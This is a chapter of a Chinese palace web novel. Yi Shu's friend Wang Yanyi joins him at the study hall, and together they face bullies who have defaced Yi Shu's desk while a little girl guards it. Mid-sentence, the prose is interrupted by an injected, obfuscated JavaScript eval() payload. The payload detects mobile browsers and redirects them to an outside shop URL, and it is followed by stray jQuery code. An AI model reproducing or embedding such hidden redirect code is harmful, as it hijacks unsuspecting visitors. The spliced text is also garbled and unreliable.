晨光熹微,微风穿堂而过,掀起缥缈的衣摆。
易殊不疾不徐地向明礼堂走去。
闹鬼事件以后,明礼堂的那些人消停了好一阵,至少夜里不会再有人到溪园挑衅。
虽然时不时有一些无关痛痒的小动作,但是对总体说来的影响不大,也不必耗费心神去计较。
名义上是太子侍读,但他与那位太子每天只有几句必要的交流。
他能感觉到那位太子的疏离,毕竟如果太子愿意帮自己随便说点什么话,那些人从一开始就不敢为难自己。
不过无缘无故,别人为何要帮你。
“易殊——”
明朗轻快,充满少年活力的声音从走廊的尽头传来。
却是不应该出现在宫里的声音,易殊错愕地转身。
一个身穿枣红色刻丝云纹绸面圆领袍的少年从走廊尽头飞奔而来,一把搂过易殊的肩膀。
被这股突如其来的冲力胁迫着向后退了好几步才堪堪站稳,易殊有些不可置信地盯着红袍少年的脸:“王延邑?”
红袍少年气喘吁吁地道:“好久不见——”
“小爷我可想死你了。”
红袍少年正是易殊为数不多的至交好友,名为王延邑,比易殊小半岁。
宁北侯府向来不允许易殊与凤雏麟子交往过甚,唯恐落下一个结党营私的罪名。所幸易殊当年与王延邑结识的时候,王延邑的父亲王琼只是个正四品下的明威将军。两人交好也就不被制止,一直关系不错。
不过即使这几年来王琼升成了从三品的归德将军,却还是不能达到送王延邑到明礼堂来的标准。
想到这里,易殊眼底划过一丝疑惑:“你怎么在这里?”
王延邑方才跑的急,平复了好一会儿呼吸,才慢条斯理地道:“因为我想念书呗。”
这种话任何人说出来易殊可能都会信,但是唯独王延邑说他不信。
从小到大以来,易殊都是汴京子弟中最受欢迎的人,王延邑从小就喜欢跟着易殊到处跑。无论是上山下河,还是骑马射箭,每一样他都乐此不疲,意犹未尽。唯独每次易殊提到读书一类的话题,王延邑立马就千推万阻,连连拒绝。就连陪同易殊去书肆取新订的书时,王延邑都不愿意在书肆门口等着,生怕书中知识侵占了他的大脑。并且宫里规矩多,王延邑不爱受管教,怎么会主动进明礼堂念书。
易殊抬起眼眸,望向王延邑,道:“同我不必说谎。”
很多人都说,易殊的眼睛幽深得如同古井,总是给人一种看破一切的错觉。被这样的一双眼睛盯着,会让人情不自禁把一切全盘托出。
王延邑原本准备随意敷衍过去,但犹豫了一下,知道瞒不过易殊,只能闷声说:“我求了父亲。”
“为何?”易殊微微颦起眉。
他知道王延邑与王琼关系一直水深火热,父子俩脾气都倔得像牛,王延邑向来不愿意向王琼低头。
“你一个人在宫里,我不放心,”王延邑向来嘻嘻哈哈,语气难得低沉下去,“那些贵族子弟是什么性子你不知道我还不知道吗?你不常在汴京,就算在也与他们不往来,我倒是土生土长在汴京长大,清清楚楚地知道他们有多盛气凌人,自视高贵,他们谁都敢欺辱,更别提你家现在……”
“那时候我有恳求父亲上奏为你们伸冤,但是父亲不知道为什么不理会我,还给我禁了足,一直到听说你进了宫才放我出来。”
易殊神情滞了一瞬,朝廷中的事风云诡谲,没有人愿意趟这趟浑水,十三岁的少年人不经世事,才会妄想可以帮上忙。
良久,他轻轻叹了一口气,却还是什么都没说出口。
毕竟易殊从来没有期待过王琼会为宁北侯府做什么。
以前闲来无事,听人分析过王琼的为人,他不像现在在官场上叱咤风云的高官贵爵一样是前朝老臣,他能到现在的位置,全是自己一步一步从最底层爬上来,一次一次在战场上赴汤蹈火赢来的,每一次的升迁的背后都是纷飞的战火和流血的伤疤,所以他不得不小心谨慎地面对朝中的任何局势。他深知从底层走到高位的不容易,不愿意让将来的王氏子孙再受一次这种苦。甚至给儿子取名“延邑”。延邑延邑,延,延续,邑,封地,意思不言而喻。更何况有私交的只是两个毛头小子,两个家族之间并没有往来,所以王琼本来就没有立场帮宁北侯府。
但是不同于王琼的八面玲珑,王延邑是个单纯直率毫无城府之人,根本不懂朝堂上的尔虞我诈。其他官家的孩子到了这个年纪多多少少也学得一些官场上的弯弯绕绕,偏生他单纯得像一张白纸,以为有冤屈朝廷就会管,以为父亲会挽救无辜之人。
看易殊一句话也不说,王延邑更加懊悔了:“对不起啊,我当时很想陪你守灵。但是我被关在祠堂,父亲说没力气就不会想着跑出去了,于是一天他们就只给我送一顿饭。结果好不容易等我被放出去时,却听说你已经进宫了。”
王延邑也意识到自己过于煽情,就换回笑嘻嘻的笑脸道:“小爷我可聪明了。知道你进宫以后,我就每天跟在父亲上朝的马车身后吵着要进宫,宫门口进出的人太多了,父亲脸皮薄,忍无可忍就同意了。”
干涸已久的灵魂仿佛得到了第一滴甘露,易殊久违地露出了进宫后第一个真心实意的笑容:“好,我们王小将军最聪明。”
“我是你的兄弟,虽然你没了家人。你要是不介意,我就是你的家人。”这种话王延邑说不出口,只能在心中暗暗发誓。
王延邑揽着易殊的肩膀向明礼堂走去,不亦乐乎地聊他新找到的狩猎宝地。
方才走到门口,易殊的手还没触及明礼堂降香黄檀做的门扉,就听见里面传来争执的声音。
“我说不可以,就是,不可以。”声音幼稚还有些含糊不清,听起来年纪不大。
“唉哟,祐祐快走开,这不关你的事儿,你让开,薛哥哥赶明儿给
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14234266|151374||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
你带芳香斋的桂花圆子。”
幼稚声音的主人继续道:“不好,不许欺负别人。”
梁文慎语气恶劣的声音也传了出来:“李禛哪儿去了,还不把他妹妹带走。”
“吱——”
门被推开的声音在此时格外突兀,让争吵的声音戛然而止,所有人都望向门外。
易殊神色淡然地收回手,抬眼望向明礼堂内。
里面的人不算太多,但大多都聚集在一处,那几个人手里握着精致小巧的眉尖刀,另外分散的几个人则是神采飞扬地旁观着。
好巧不巧,他们聚集的地方就在易殊的桌案附近,此时正在发生什么已经不言而喻。
易殊面不改色地走过去,却见人群的最中心藏着一个小小的身影,因为太娇小,在门口根本看不见,应该就是在门口听到的幼稚声音的主人。目测五六岁,她穿着暖黄色的彩绣袄裙,扎着双螺髻,双手张开护在易殊的桌案前,还故作凶相地盯着前方的人群。
定睛一看,易殊的桌案上还有用眉尖刀粗略刻下的王八雏形,不用想都是梁文慎等人的杰作。
王延邑也不傻,很快就反应过来发生了什么,他皱起眉头,不满地道:“你们在我们家易殊的桌案边干什么?”
梁文慎此时也发现了王延邑,轻蔑地回敬:“王延邑?你爹一个从三品的小官,你哪儿来的资格待在这儿?”
王延邑笑得很爽朗:“嗯,是啊。人有身份,拳头可没有。”
易殊尝试把王延邑拉到身后,他却纹丝不动。
看到王延邑嚣张跋扈的神情,梁文慎皱着眉头道:“这里是皇宫。你想做什么?”
“你应当知道我的性格。”王延邑挑了挑眉,漫不经心地道。
王延邑活得一直很随性,明明是官家子弟,偏偏不懂得什么叫身份地位的差距,与其说为人单纯,不如说是不经世事,从没有受到官僚社会的洗礼,做什么都不计后果。
有一年,王琼还是正四品的时候,王延邑和工部尚书家的一个儿子看上了同一把匕首。两人都是争强好胜的年纪,王延邑根本不顾忌对方父亲是正二品的大官,和对方直接在兵器铺里大打出手,最后两人都鼻青脸肿地被抬回去了,躺了两天才下床。王琼都做好失去乌纱帽的准备了,幸好工部尚书是个通情达理的,没有计较这件事。尽管如此,事后王琼还是押着王延邑去道了好几天的歉,又罚王延邑关了半个月的紧闭。
不过看样子王延邑的性格丝毫没改变。
“疯狗。”梁文慎暗骂了一句。
显然梁文慎也想起王延邑当年做的好事,他本来就文弱,根本不可能是王延邑这种头脑简单,四肢稍微比自己发达一点的人的对手,况且他也不能自降身份和王延邑打架。
梁文慎冷哼了一声离开,其他人看着梁文慎离开,也纷纷跟上。
刚刚还围满了人的地方,一下子就只剩下了易殊,王延邑和那个小小的女孩。